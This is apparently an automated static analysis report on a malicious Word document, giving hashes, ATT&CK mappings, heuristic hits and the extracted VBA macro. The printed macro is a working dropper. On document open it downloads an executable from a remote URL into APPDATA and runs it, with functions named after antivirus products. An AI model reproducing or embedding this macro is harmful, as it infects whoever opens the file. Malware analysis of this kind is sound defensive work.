Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2257189f973e9628…

MALICIOUS

Office (OLE)

44.5 KB Created: 2014-06-19 23:33:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: 081fafdabdfe8738350516dd12a02829 SHA-1: 60b37bb23b5196a04f75c0e9e1cacbd236378908 SHA-256: 2257189f973e96283ecf8e6e9e8cbf1948dd3aaeeceb1743c09c71273832e30c
334 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Word document that uses a VBA macro to download a second-stage executable from 'http://storage.googleapis.com/novotes/Microsoft_Word.exe' and save it to the user's APPDATA directory as 'Microsoft_Word.exe'. The macro then executes the downloaded file. The document also contains a lure to enable macros, which is a common tactic for macro-based malware.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-5893673-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-5893673-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("APPDATA") & "\Microsoft_Word.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function Sophos Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As LongPtr, ByVal lpfnCB As LongPtr) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Sophos 0, "http://storage.googleapis.com/novotes/Microsoft_Word.exe", Environ("APPDATA") & "\Microsoft_Word.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://storage.googleapis.com/novotes/Microsoft_Word.exe� Referenced by macro
    • http://storage.googleapis.com/novotes/Microsoft_Word.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 856 bytes
SHA-256: dfeac77c574ab332914f1c3e23e052c3c2e2a637b31a13b7923a88ecb8b564fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Avira"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Sophos Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As LongPtr, ByVal lpfnCB As LongPtr) As LongPtr
Sub AutoOpen()
Kaspersky
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Sub Kaspersky()
On Error Resume Next
Sophos 0, "http://storage.googleapis.com/novotes/Microsoft_Word.exe", Environ("APPDATA") & "\Microsoft_Word.exe", 0, 0
Shell Environ("APPDATA") & "\Microsoft_Word.exe"
End Sub

Attribute VB_Name = "Módulo1"

Attribute VB_Name = "Módulo2"